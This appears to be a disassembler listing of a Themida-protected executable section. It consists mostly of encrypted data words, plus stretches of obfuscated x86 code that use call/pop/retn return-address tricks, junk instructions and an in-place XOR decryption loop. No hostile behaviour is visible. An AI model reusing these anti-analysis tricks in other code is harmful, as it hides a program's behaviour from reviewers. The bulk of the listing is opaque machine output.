		dd 6D1D8690h, 897F5825h, 6FC7734Ah, 0B3C1A8D7h,	0F7C412CAh
		dd 0B1540DCEh, 1EDE5C4h, 575Ah,	4A177100h, 2A822E8Bh, 1AC6F5DDh
		dd 208993C2h, 0E5B304B3h, 0DA221D8Eh, 0F2C2EED4h, 42DA0251h
		dd 0E3401719h, 54298471h, 3E444A79h, 51F1FB58h,	171B446Ch
		dd 8C4A176Eh, 0FC2B832Fh, 0B1DAE1F1h, 0DFC14017h, 7AEDA9A2h
		dd 55AC120Ch, 12412CAFh, 53115E05h, 68000000h, 0B4FCAA13h
		dd 381E24ECh, 4C51F1E8h, 0E7B89E24h, 0F4CC51F1h, 0F1E808EEh
		dd 5CF41C51h, 1117462Dh, 51F1E82Bh, 17C5EE54h, 91C7840h
		dd 0AFDE2AC2h, 401700A9h, 0C9E14800h, 1D285739h, 0F1BE06B5h
		dd 0D22AD6E5h, 4A10BCA3h, 0E7967C82h, 82AA51F1h, 0C4126C53h
		dd 6C434BF7h, 0A3B24FD1h, 8CD0FFFBh, 51F56D38h,	0F0492038h
		dd 71DF9157h, 0A489AC9h, 85D7E4F2h, 0E28E2FA8h,	73BB02D5h
		dd 0E38F2CA6h, 80F25C8Bh, 0FECB7E1Ch, 0ACB7E6D3h, 240922Bh
		dd 0FEE96263h, 439Bh, 0C5CB9300h, 51F682DFh, 0B59CCBF3h
		dd 4BF7C412h, 0E52DD13Fh, 3687501Dh, 0BF03328Ah, 57E500DCh
		dd 0AD7AC2EAh, 444A9229h, 5806015Eh, 0B11B4A72h, 0E28E2FA4h
		dd 0EBA01D5h, 5554F6DAh, 0E51F3B9Fh, 0BF78CAF1h, 4BF7C412h
		dd 0E52DD13Fh, 0EA40C018h, 14FA7BB6h, 1E7622BAh, 0AB605D1h
		dd 0B57D83B2h, 6B720EDh, 967C025Ah, 0AA51F2B2h,	140F5382h
		dd 4257E5E2h, 19F0C81Ah, 98FEEE23h, 0F8DB2808h,	4B8B96C5h
		dd 0B6512870h, 480E7348h, 0BF056F9Eh, 0DA1808BAh, 629AB81Ch
		dd 18F54774h, 4551FDBEh, 0D9DF27D7h, 0E26C0BB2h, 0F6CE2048h
		dd 0C42282Eh, 2E56E28Dh, 0AA1318FFh, 0CAB3D3FCh, 0AFF7C412h
		dd 38617FD8h, 0B0FD0DA5h, 81689728h, 63494F17h,	7751F1E8h
		dd 3810204Fh, 2655686Bh, 0E5C4B13Fh, 515A01EDh,	52000000h
		dd 19B94D85h, 69EF6A2h,	0BEAB025Ah, 8F5F9FDDh, 134F3665h
		dd 0E7B4FCAAh, 0FFBC1AEAh, 0B763FB53h, 1749305Fh, 0F1E82B11h
		dd 1583F51h, 3650E233h,	0F987AF31h, 20F480A2h, 6E175F88h
		dd 454BC012h, 51F1E85Fh, 8AB34B73h, 20116910h, 68000000h
		dd 0D3FCAA13h, 0E82B1117h, 0EE5451F1h, 126E17C5h, 10D2FBC0h
		dd 967C824Ah, 0AA51F1E7h, 126C5382h, 0D8AFF7C4h, 0A9C419E3h
		dd 60CAF99Eh, 10C39058h, 23A901ADh, 51F2363Dh, 8D737951h
		dd 0A151F235h, 3E94E179h, 4A79D17Dh, 0F5B6B206h, 0C4EB251h
		dd 60A630FDh, 459D4972h, 63737EADh, 0F58D30A3h,	0F711C6A3h
		dd 19461FE1h, 4C31B49Fh, 2B805DB4h, 78DAE861h, 0B02734E0h
		dd 8BEF610Dh, 1BA235CFh, 0D8DA8BC9h, 3824FEE9h,	3B000000h
		dd 4147C412h, 51F1E85Bh, 3AF476Fh, 1A2689F7h, 7B95F7E0h
		dd 252B730Bh, 57E56B6Ah, 0B108C996h, 0FA7EAD05h, 4CB026D2h
		dd 0DBE0F60Eh, 0C9DAB189h, 8756AAEAh, 125C4372h, 0B72138C4h
		dd 0B61BFC2h, 4DBBC773h, 458C59A1h, 393F4574h, 57E5F1E6h
		dd 0A42FFCD4h, 0D2AD9319h, 99C15806h, 0F6C61542h, 10A8FA08h
		dd 0AA1305BEh, 0CAB3D3FCh, 9542C412h, 8C247C28h, 0B1540D63h
		dd 1EDE5C4h, 405Ah, 0AA137100h,	4F17D3FCh, 0B0B65382h
		dd 51F1E7CAh, 0EF1EB6DEh, 0F1E7C5ABh, 88B1D951h, 0C0126E17h
		dd 6910D2FBh, 63494F17h, 7751F1E8h, 4114204Fh, 4C000000h
		dd 0E7987E84h, 0CFAC51F1h, 0F120B803h, 8E4A170Ah, 0FE2D8531h
		dd 0B2DB8BF4h, 50824F17h, 12F83C6Bh, 3B51F1E8h,	6E17ACD5h
		dd 0B3FBC012h, 7B41EEBh, 0F1E79B81h, 5887AF51h,	7D4A1071h
		dd 4C336259h, 4BF7C412h, 8F757B43h, 0A351F1E7h,	472D337Bh
		dd 5B51F1E8h, 6CC00433h, 6C51F568h, 24B24A08h, 0C7784F97h
		dd 0BFC12010h, 0C5A2B2E1h, 0F2FEAA11h, 0CC94DC84h, 0B6E5D8FFh
		dd 0E953A372h, 0FF517957h, 0FCAA1346h, 29C4DDB4h, 9EC0A6ACh
		dd 0ACD451F2h, 0A3B3DD55h, 0F279B79Dh, 0BA3CB51h, 4A17F5DCh
		dd 9B053489h, 0F7C412B2h, 0B1540DCEh, 1EDE5C4h,	495Ah
		dd 0AA137100h, 1117D3FCh, 51F1E82Bh, 17EE173Fh,	433884Ah
		dd 4A1755FEh, 2A822E8Bh, 98C7F6DDh, 1CB7458Dh, 0F8DEE4BBh
		dd 0C51F20Bh, 81278DE4h, 10F821B9h, 67567D4Ah, 952AAEBBh
		dd 0ACF991E9h, 80679627h, 3511h, 0AA136800h, 832F8A47h
		dd 176A932Bh, 22F34140h, 0D201A0E1h, 66E0C6CCh,	0A57251F2h
		dd 0D6E38F2Eh, 0BA12BEFBh, 1E84F322h, 126E17F5h, 10D2FBC0h
		dd 65547D4Ah, 0C4124F36h, 0F5E2AFF7h, 0E141CC8h, 51F1E828h
		dd 4D7C143Ch, 68499DE3h, 0E54951F5h, 74478FA5h,	2A914522h
		dd 5C04727Eh, 821B0E14h, 6C4957E9h, 4FA7536Ch, 79986FB7h
		dd 7AEDBA95h, 8154A08Eh, 0A139266Fh, 13A96272h,	0B3D3FCAAh
		dd 0F7C412CAh, 0B1540DCEh, 1EDE5C4h, 615Ah, 4A177100h
		dd 76832F8Ch, 7AC75F5Ch, 5CB4605Dh, 0CBA232Dh, 0FE4017E3h
		dd 7544914Eh, 0F9B6191Eh, 0F2310DF3h, 61F92151h, 40262C32h
		dd 5451F231h, 161CE42Ch, 51F23130h, 0F5A118BDh,	80AFD79Dh
		dd 176E1799h, 0E12E8B4Ah, 0C31BC7F6h, 72498994h, 734A1049h
		dd 5CDF850Eh, 0CEB5E4CDh, 2611h, 0AA136800h, 4017D3FCh
		dd 0CC327F51h, 0F4055C89h, 0B5540DF0h, 11171D4Ch, 51F21C2Bh
		dd 17C5EE54h, 0FBC0126Eh, 126910D2h, 3F4BF7C4h,	0DFE52DD1h
		dd 57E50A40h, 339F6C34h, 0FE84DC88h, 58060A18h,	9BEA4AAh
		dd 0AAD25806h, 6E74BCE4h, 58060A88h, 0C145749Ch, 0FD6B4799h
		dd 21030951h, 2D5DFF1Ah, 89515905h, 20F99D83h, 3C89B15Eh
		dd 0ECF72697h, 0A27FD1EAh, 723F8734h, 0A1AE5A5Fh, 0BEED8534h
		dd 22B0E54h, 0E5497B71h, 11C794A5h, 7BAA02AEh, 3556670h
		dd 775D632Bh
		dd 8B9BD102h, 0AD293463h, 8055620Eh, 51808D39h,	0C2DD67A9h
		dd 5BF37257h, 8C31A2AFh, 44066AE0h, 0B9C9AFB5h,	0B5DD9BD1h
		dd 0A4E6881Dh, 23754690h, 7F2B9046h, 1671h, 0DBE1A900h
		dd 9BD1B9F5h, 0CBB2E109h, 2FA4017h, 0F06DD08Bh,	122188C1h
		dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh,	0F2FFAB12h
		dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 7D4868h
		dd 24048900h, 66BB68h, 242C8900h, 62568h, 243C8900h, 403ABF57h
		dd 0CF812273h, 4E3910BFh, 7537EF81h, 0F7812110h, 4B7034A9h
		dd 89FA8952h, 685F5AD5h, 1181h,	83242489h, 5F042404h, 4EC81h
		dd 2C890000h, 8478F24h,	5F2434FFh, 4C481h, 34FF0000h, 0C4835D24h
		dd 862DE904h, 64ACFFF9h, 0B9962B5Ch, 0F78DB8DFh, 0C503061Ah
		dd 1B68E0FFh, 79081725h, 6E3F5C23h, 49214C8h, 70DF5ED4h
		dd 0C8BE604Eh, 0B5061033h, 58E0C24h, 9AB969FEh,	7E83CC1h
		dd 0C000000h, 0D13083D8h, 840F147Bh, 3,	5EDA8B66h, 0C681F48Ah
		dd 6988h, 0A1CF8166h, 6865h, 0B2580000h, 3034FF8Fh, 10E959h
		dd 5C6B0000h, 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0C181D992h
		dd 349964F9h, 81C8CE80h, 0AC1A9EE9h, 0CCC18165h, 0BB75DE9Fh
		dd 52D81587h, 66060C89h, 8311DBBFh, 8B6602E8h, 664848F8h
		dd 0F881D88Bh, 0FFFF96ECh, 0FFAF850Fh, 8DFCFFFFh, 1AF96F8Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0FDFFEB1h, 0D78AF0BFh, 32298D89h, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D1A9B6C3h, 881B38D2h, 4D85C72Bh, 0CC061406h, 8B00005Bh
		dd 140CC585h, 7185C706h, 61426h, 89000000h, 141A899Dh
		dd 0E2DF8006h, 2E1B5FFh, 8D890614h, 6142591h, 236195FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 8FBB1BC3h, 0A921556Eh, 0FBA6E5Ah,	0F8Fh
		dd 0AE900h, 0FE030000h,	96070639h, 3EC9B1BDh, 6AF8BF0Fh
		dd 6995FF00h
; ---------------------------------------------------------------------------


loc_5B854C:				; DATA XREF: Themida_:0054B170o
		adc	[esi+eax], edx
		mov	eax, eax
		jmp	short loc_5B8570
; ---------------------------------------------------------------------------
		db 0CDh
		dd 660A08EDh, 70F80EB5h, 3F4D3947h, 0EB906041h,	0E761B0F1h
		dd 2F7D1792h, 91BEF017h
; ---------------------------------------------------------------------------


loc_5B8570:				; CODE XREF: Themida_:005B8551j
		lea	ecx, [ebp+61AFA64h]
		call	sub_5B858B
		sahf
		sahf
		mov	edi, [ebp+7F2113D4h]
		jmp	far ptr	5229h:0E8ECEB3Dh
; ---------------------------------------------------------------------------
		db 0B2h

; =============== S U B	R O U T	I N E =======================================



sub_5B858B	proc near		; CODE XREF: Themida_:005B8576p
		call	near ptr loc_5B8590+5


loc_5B8590:				; CODE XREF: sub_5B858Bp
		imul	edx, [edx-16CBC9A7h], 10h
sub_5B858B	endp ; sp-analysis failed

		xor	esi, edi
		pop	edi
		mov	esp, 0EB1F2BB3h
		xchg	al, [edi+53D9F7C4h]
		int	0F2h
		pop	eax
		pop	eax
		jp	loc_5B85B4
		mov	esi, ebx


loc_5B85B4:				; CODE XREF: Themida_:005B85ACj
		mov	[ebp+6143229h],	ecx
		push	0
		push	eax
		call	sub_5B85C5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B85C5	proc near		; CODE XREF: Themida_:005B85BDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5B85C5	endp

; ---------------------------------------------------------------------------
		dec	eax
		xchg	esp, esi
		push	ds
		mov	bl, 7Dh
		mov	dword ptr [ebp+614064Dh], 584Ch
		sub	ebx, [ebp+6140945h]
		mov	dword ptr [ebp+6142671h], 0
		push	0
		push	ebp
		call	sub_5B8600
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8600	proc near		; CODE XREF: Themida_:005B85F8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5B8600	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_5B8644
		adc	byte ptr [edi-1A62CE58h], 12h
		adc	al, 6
		push	dword ptr [ebp+61406A5h]
		call	dword ptr [ebp+6142361h]
		jmp	loc_5B863C
; ---------------------------------------------------------------------------
		dd 30D942F0h, 1F863357h, 2999945Ch, 0B60D4991h
; ---------------------------------------------------------------------------


loc_5B863C:				; CODE XREF: Themida_:005B8627j
		push	0
		call	dword ptr [ebp+6141169h]


loc_5B8644:				; CODE XREF: Themida_:005B8610j
		mov	eax, eax
		jmp	short loc_5B8666
; ---------------------------------------------------------------------------
		dd 0FC030318h, 0AA54B0DEh, 0FBF9E3CDh, 1F62B562h, 0BA9D0498h
		dd 0E8FD9CE5h, 0A05E0AD0h
		db 0FEh, 38h
; ---------------------------------------------------------------------------


loc_5B8666:				; CODE XREF: Themida_:005B8646j
		call	near ptr loc_5B8674+5
		setalc
		pop	es
		rcr	dword ptr es:[edx-6Ah],	0Ah
		and	al, 0CAh


loc_5B8674:				; CODE XREF: Themida_:loc_5B8666p
		and	[eax+526F7E1Fh], bl
		mov	[ebp+6140361h],	edx
		pop	eax
		pop	ebx
		mov	[ebp+61408C1h],	esi
		add	ebx, 5C87h
		mov	[ebp+6142CF9h],	esi
		sub	edx, edx
		xor	[ebp+61424BDh],	edi


loc_5B869C:				; CODE XREF: Themida_:005B870Cj
		mov	edi, [ebx+edx]
		mov	eax, [ebp+6142235h]
		sub	edi, 46C3AC28h
		mov	ecx, [ebp+6142AD9h]
		xor	edi, 4B0FF342h
		movzx	eax, si
		xor	edi, 4A555EE1h
		mov	esi, ebx
		push	edi
		mov	eax, edx
		pop	dword ptr [ebx+edx]
		mov	[ebp+61423D9h],	ebx
		mov	esi, [ebp+614210Dh]
		sub	edx, 47D402FDh
		or	[ebp+6142069h],	eax
		add	edx, 47D402F9h
		or	eax, 45D84A09h
		cmp	edx, 0FFFFA420h
		jnz	loc_5B8708
		sub	esi, [ebp+61416A1h]
		jmp	loc_5B8716
; ---------------------------------------------------------------------------
		db 1Fh
		dd 0C295F1B6h
; ---------------------------------------------------------------------------


loc_5B8708:				; CODE XREF: Themida_:005B86F2j
		mov	cx, 0C14Ch
		jmp	loc_5B869C
; ---------------------------------------------------------------------------
		db 7Dh,	0E2h, 0E6h
		db 43h,	0CEh
; ---------------------------------------------------------------------------


loc_5B8716:				; CODE XREF: Themida_:005B86FEj
		lea	ecx, [ebp+61AFC01h]
		push	0
		push	ebx
		call	sub_5B8727
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8727	proc near		; CODE XREF: Themida_:005B871Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5B8727	endp

; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------
		mov	esi, 8D8900F8h
		sub	[edx], esi
		adc	al, 6
		push	0
		push	eax
		call	sub_5B874C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B874C	proc near		; CODE XREF: Themida_:005B8744p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5B874C	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		mov	dword ptr [ebp+614064Dh], 5A10h
		mov	ax, 3FA2h
		mov	dword ptr [ebp+6142671h], 0
		mov	[ebp+6140EE5h],	eax
		mov	[ebp+61402A1h],	esi
		push	dword ptr [ebp+6142319h]
		push	0
		push	esi
		call	sub_5B8792
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8792	proc near		; CODE XREF: Themida_:005B878Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5B8792	endp

; ---------------------------------------------------------------------------
		jnz	short near ptr loc_5B87A2+1 ; CODE XREF: Themida_:loc_5B87A2j
		xchg	eax, ebp
		popa
		and	edx, [esi+eax]
		push	0
		push	eax
		call	sub_5B87B4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B87B4	proc near		; CODE XREF: Themida_:005B87ACp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5B87B4	endp

; ---------------------------------------------------------------------------
		dd 31C62586h, 0D7C4E7F3h, 0C4B8A665h, 8153307Bh, 192983D2h
		dd 0FF006A55h, 14116995h, 0EBC08B06h, 94D1931Eh, 1EBEA73Ch
		dd 45E33995h, 0AFE1862Dh, 0FA93A978h, 0D2AE1D93h, 0B5030ABFh
		dd 8DBA95F9h, 1AFCCF8Dh, 0EC91B806h, 9D290BFFh,	614263Dh
		dd 32298D89h, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8B1C6FC3h, 1400E585h, 4D85C706h
		dd 94061406h, 2B00005Fh, 142C81B5h, 7185C706h, 61426h
		dd 0FF000000h, 140591B5h, 29BD8906h, 0FF061430h, 14236195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 5E013A5h, 77C081E4h, 0EE9AF34h, 35000000h
		dd 0BDFADD15h, 6008138Dh, 26F7CBD1h, 158D8971h,	6A061403h
		dd 6995FF00h, 8B061411h, 577FEBC0h, 60457C61h, 14710974h
		dd 0C3C4E3C2h, 8A3F5D5h, 33935010h, 1A1EFD62h, 0CA0B6CA6h
		dd 8BDCD24Dh, 7E8E85ABh, 4FF69C48h, 95A243DAh, 3B3EFBB5h
		dd 0C41C5753h, 0CB5AF4EAh, 0BC706786h, 94D2B5D2h, 5E47EFE7h
		dd 58D10F5Bh, 3113E4DFh, 37DFE116h, 0DEF79354h,	6D50AA59h
		dd 85E439BCh, 2D40B921h, 7BFDC153h, 0B12F0h, 14A51A67h
		dd 0E194C4D6h, 4EF7836Dh, 0F6D50A81h, 0DC4BF756h, 5E81332h
		dd 76000000h, 0CDBDBA05h, 958959FCh, 6141039h, 6A69C181h
		dd 858B0000h, 6140F49h,	1A5DBEh, 0DDBD8B00h, 0FF061422h
		dd 0C2B70F31h, 67BF665Bh, 25F3816Bh, 0E9350CD2h, 0Fh, 0F31D56ACh
		dd 0F6363B73h, 31C0EB71h, 81037725h, 9ABA32EBh,	69C88159h
		dd 814549A9h, 3D6DE2F3h, 6DBD8B00h, 89061406h, 148E0F19h
		dd 0E9000000h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh, 8182D050h
		dd 26E543E9h, 0CE85Fh, 198C0000h, 0DB3B86C7h, 601D4FBh
		dd 0AE9DC1Fh, 0FF000000h, 0F0854D4Fh, 0B9C752BCh, 0C1815AFEh
		dd 5F26E53Fh, 0FE9h, 7B2BAF00h,	0D7CB71D6h, 743C5372h
		dd 0F6FC5B75h, 1F850F4Eh, 0E8000000h, 5, 847CEA7Ch, 6D8589B3h
		dd 5F061410h, 1FE9h, 68B5F000h,	0E82D3F89h, 958B80E0h
		dd 6140355h, 0FFFF36E9h, 8DD8FFh, 8546AE49h, 0B04D103Bh
		dd 0FEE58D8Dh, 0AE9061Ah, 68000000h, 59B5E3A9h,	8DB81257h
		dd 1DDF8160h, 894376FDh, 1432298Dh, 60525606h, 0C75E5B61h
		dd 14064D85h, 6D6006h, 0FDB52900h, 0C7061408h, 14267185h
		dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 2E896999h, 0FF6F9157h, 140C4DB5h
		dd 0F18B6606h, 236195FFh, 880F0614h, 15h, 0F830Fh, 0AE90000h
		dd 9D000000h, 5670E121h, 0C7691FB9h, 0FF006A56h, 14116995h
		dd 0EBC08B06h, 827AD94Ah, 0B8281FF2h, 0E443C463h, 8D67F9F7h
		dd 0FF6E19C5h, 0E7555CAEh, 37E01506h, 0A1F6E66Fh, 2A91B856h
		dd 0FFF91F09h, 65361803h, 9932B29Fh, 9916B9EFh,	0B3996E4Bh
		dd 9CE40A56h, 787401B2h, 0E55DB9B4h, 0DA9C4C65h, 8DBC7D12h
		dd 1AFFCE8Dh, 0DD958906h, 0F9061400h, 32298D89h, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0BEEC01C3h, 3880ED75h, 34DD8531h, 85C70614h,	614064Dh
		dd 6DE4h, 73F78166h, 7185C767h,	61426h,	8B000000h, 14039D85h
		dd 0DB5FF06h, 0F061422h, 284h, 0FFD18A00h, 14236195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 6143EF03h, 6688D670h, 6AD88Bh, 116995FFh, 0C08B0614h
		dd 63F07EEBh, 3205BEFCh, 684EAC02h, 42957138h, 5510F34Ch
		dd 0F0807573h, 0CF2EF1E1h, 0F9D04D30h, 4813CDDAh, 69D12E9Bh
		dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h,	467C0C16h
		dd 4C561D4Bh, 0D2B84127h, 301120D9h, 23B1979Fh,	15B4C4F6h
		dd 11291986h, 0D3994E9Fh, 7AABAA42h, 3211B28Ch,	0A1645F36h
		dd 21C370B4h, 4ECC70Fh,	3A747BF1h, 1D92E5B8h, 0FF1F5F97h
		dd 38574F29h, 3B5112A6h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h
		dd 1B005FEDh, 8428B06h,	2638453Dh, 38850F78h, 8B000001h
		dd 4A8B0C42h, 0BBC8D318h, 8841BF62h, 0E883C333h, 29858904h
		dd 8B061432h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 5137EBEh
		dd 2BC6339Ch, 0FCE083C7h, 8904E883h, 14064D85h,	14428B06h
		dd 26718589h, 428B0614h, 0B0E95318h, 0FF000000h, 140591B5h
		dd 0B9E906h, 0B5FF0000h, 61414ADh, 0AEE9h, 1B5FF00h, 0E9061416h
		dd 0A3h, 2E91B5FFh, 98E90614h, 0FF000000h, 1406A5B5h, 8DE906h
		dd 0B5FF0000h, 61402E1h, 82E9h,	4DB5FF00h, 0E906140Ch
		dd 77h,	1071B5FFh, 6CE90614h, 0FF000000h, 140D49B5h, 61E906h
		dd 0B5FF0000h, 6142319h, 56E9h,	99B5FF00h, 0E9061430h
		dd 4Bh,	669B5FFh, 40E90614h, 0FF000000h, 14220DB5h, 35E906h
		dd 0B5FF0000h, 61400D5h, 2AE9h,	95B5FF00h, 0E906142Ch
		dd 1Fh,	2111B5FFh, 14E90614h, 8B000000h, 0BB8D8h, 0F7660000h
		dd 0C08D8DE3h, 3061B00h, 0FFE1FFC8h, 14236195h,	858B5B06h
		dd 6143229h, 0F045839h,	0F85h, 16A5300h, 116995FFh, 0E95B0614h
		dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 1509858Bh
		dd 8D8D0614h, 61B01AEh,	8B014189h, 5985C6C3h, 5606141Ah
		dd 0C530DF68h, 0D1B5FFA9h, 8D06141Ah, 1780DB85h, 8DD0FF06h
		dd 1400958Dh, 406A5106h, 0BDDB5FFh, 0B5FF0614h,	6142B21h
		dd 0B5FFD0FFh, 6140BDDh, 2B21B5FFh, 0CE80614h, 0D0000000h
		dd 0B3176883h, 96F40694h, 5A82B07Ch, 4EA835Ah, 2242CC1h
		dd 22424C1h, 0F7241403h, 0B9241Ch, 0FF000000h, 815E1134h
		dd 1CEBA4F6h, 0EDEE816Fh, 812CD348h, 3B9979EEh,	48F564Ah
		dd 4E9830Ah, 0F240C3Bh,	0FFFFDA85h, 359D8DFFh, 8B061411h
		dd 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 7E8C98Bh, 73000000h
		dd 4DAB9388h, 10E9DEA9h, 6B000000h, 9194F4CCh, 0E4F8928Eh
		dd 0BD03D24Ah, 58562A1Ch, 0B890Fh, 80600000h, 8A0F18CEh
		dd 0
		dd 42C08161h, 0F000063h, 58Fh, 0EF816600h, 0B9220Dh, 60000000h
		dd 8A0F51h, 5B000000h, 61CFB70Fh
		db 8Bh
dword_5B8EA1	dd 14E80834h		; DATA XREF: Themida_:005A0BCDr
					; Themida_:005A0C18r ...
		align 4
		dd 0DED8818Ch, 0FC246434h, 92E480E9h, 5096A0C6h, 0D1AA9039h
		dd 5E9h, 2514A200h, 815BA97Ch, 0D770F6h, 21B4601Eh, 3170EBB8h
		dd 0F681616Fh, 6C97A029h, 8AEE81F5h, 8A7A259Eh,	83489D0h
		dd 1923BB66h, 0E9819BB7h, 7D2D1240h, 81DEB70Fh,	2D123CC1h
		dd 0DA81527Dh, 84DEA50h, 0B8F9815Fh, 0FFFFF9Dh,	0E85h
		dd 0E9D78B00h, 35h, 9646F189h, 0E98995AEh, 13h,	6FBA1F74h
		dd 0F6E41423h, 5C350607h, 8970DA4Ah, 0E93BDA17h, 0FFFFFF64h
		dd 2D39E78Eh, 352D7A32h, 27AC71B1h, 0EB8FFEE1h,	0E4E956h
		dd 0F0F40000h, 9CD73E21h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h
		db 0
byte_5B8F9D	db 4Eh,	0F9h, 0B4h	; DATA XREF: Themida_:0054BCC0o
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 0Ah dup(0)
		dd 0ADE90000h, 68000014h, 61B0661h, 0F979BAE9h,	77668FFh
		dd 0B0E9061Bh, 68FFF979h, 61B085Ah, 0F979A6E9h,	9A268FFh
		dd 9CE9061Bh, 68FFF979h, 61B0A1Eh, 0F97992E9h, 0AD968FFh
		dd 88E9061Bh, 68FFF979h, 61B0B7Ah, 0F9797EE9h, 0C1168FFh
		dd 74E9061Bh, 68FFF979h, 61B0CBEh, 0F9796AE9h, 0DF768FFh
		dd 60E9061Bh, 68FFF979h, 61B0EF2h, 0F97956E9h, 102D68FFh
		dd 4CE9061Bh, 68FFF979h, 61B10F8h, 0F97942E9h, 124568FFh
		dd 38E9061Bh, 68FFF979h, 61B138Dh, 0F9792EE9h, 155F68FFh
		dd 24E9061Bh, 68FFF979h, 61B1684h, 0F9791AE9h, 0FBC418FFh
		dd 0B607CCA9h, 704B8764h, 2594411Eh, 0DCE1F6D3h, 4967518Ah
		dd 0DD2F8Eh, 0B996E8D1h, 714EA01Fh, 0F8045665h,	0ED846A70h
		dd 9D98580Ch, 0F7C41236h, 73983E4Bh, 0F1E8876Dh, 0DB739B51h
		dd 8F3FAD89h, 93797F47h, 0A751F1E8h, 19B10ECAh,	4BDEE4EAh
		dd 3757E53Ah, 12CD3160h, 0E3D0DADh, 70B6628Ah, 5806BB8Eh
		dd 0F5FBC399h, 5806BC0Fh, 7ACCFB23h, 19A2C3D8h,	0E5BCF8D9h
		dd 4F27FF4Ah, 0D036654Dh, 38h, 0F9A513E7h, 0CBF4E4B1h
		dd 0CD90969Ch, 9B57E502h, 5D632B73h, 58060377h,	0CA34638Bh
		dd 995FEBC2h, 4EA03Eh, 8AB8DD1h, 94B65806h, 0D088DDF6h
		dd 0ED76F8D9h, 8D000000h, 34894A17h, 20DCFA05h,	64584D8Fh
		dd 0B864FCE9h, 0E5912CABh, 47C810DDh, 0F2DF5B41h, 0AF476F51h
		dd 717CAB03h, 9DAA5665h, 0FEF6C339h, 0B5BAA0A6h, 0A6CE51F2h
		dd 83291D4Fh, 1D6A3EBh,	677D8DBCh, 51F2B38Bh, 87D9E2F4h
		dd 0E38F2CAAh, 7DC569D7h, 689728B0h, 0CD215C62h, 0F2CF57E5h
		dd 7C911DE1h, 72323270h, 14F042DAh, 567D4AA6h, 0DD63BB67h
		dd 5806D8F7h, 34BE30Bh,	0FBAFD1FDh, 5808DF5Dh, 0A4E2B988h
		dd 638B0F3Eh, 34894E1Bh, 0EBD205E2h, 94735F0Dh,	76846E38h
		dd 1203h, 4566973h, 0BF11AC27h,	79CBF0E2h, 2E80399Ch, 0E5378651h
		dd 33A40CACh, 765B388Ah, 0C414F143h, 0ACCA9FBh,	0CB535FB1h
		dd 0CEDDFC5h, 91F8F358h, 0A6F8C512h, 0E9D001CEh, 9427AFBAh
		dd 987E844Ch, 0AC51F1E7h, 0E7E8CED4h, 0D4FC51F1h, 44FD0D3Ch
		dd 0B1F9A513h, 9E65DDDAh, 6796730Ah, 55985B61h,	1CE457E5h
		dd 6553016h, 0ED1C4458h, 0A58B9169h, 0B9580654h, 5D434991h
		dd 71580655h, 0BF05B149h, 580654DDh, 0F84C6E8h,	0F8D98456h
		dd 0C5A8h, 0C412BF00h, 0E85B4147h, 476F51F1h, 0E1F603AFh
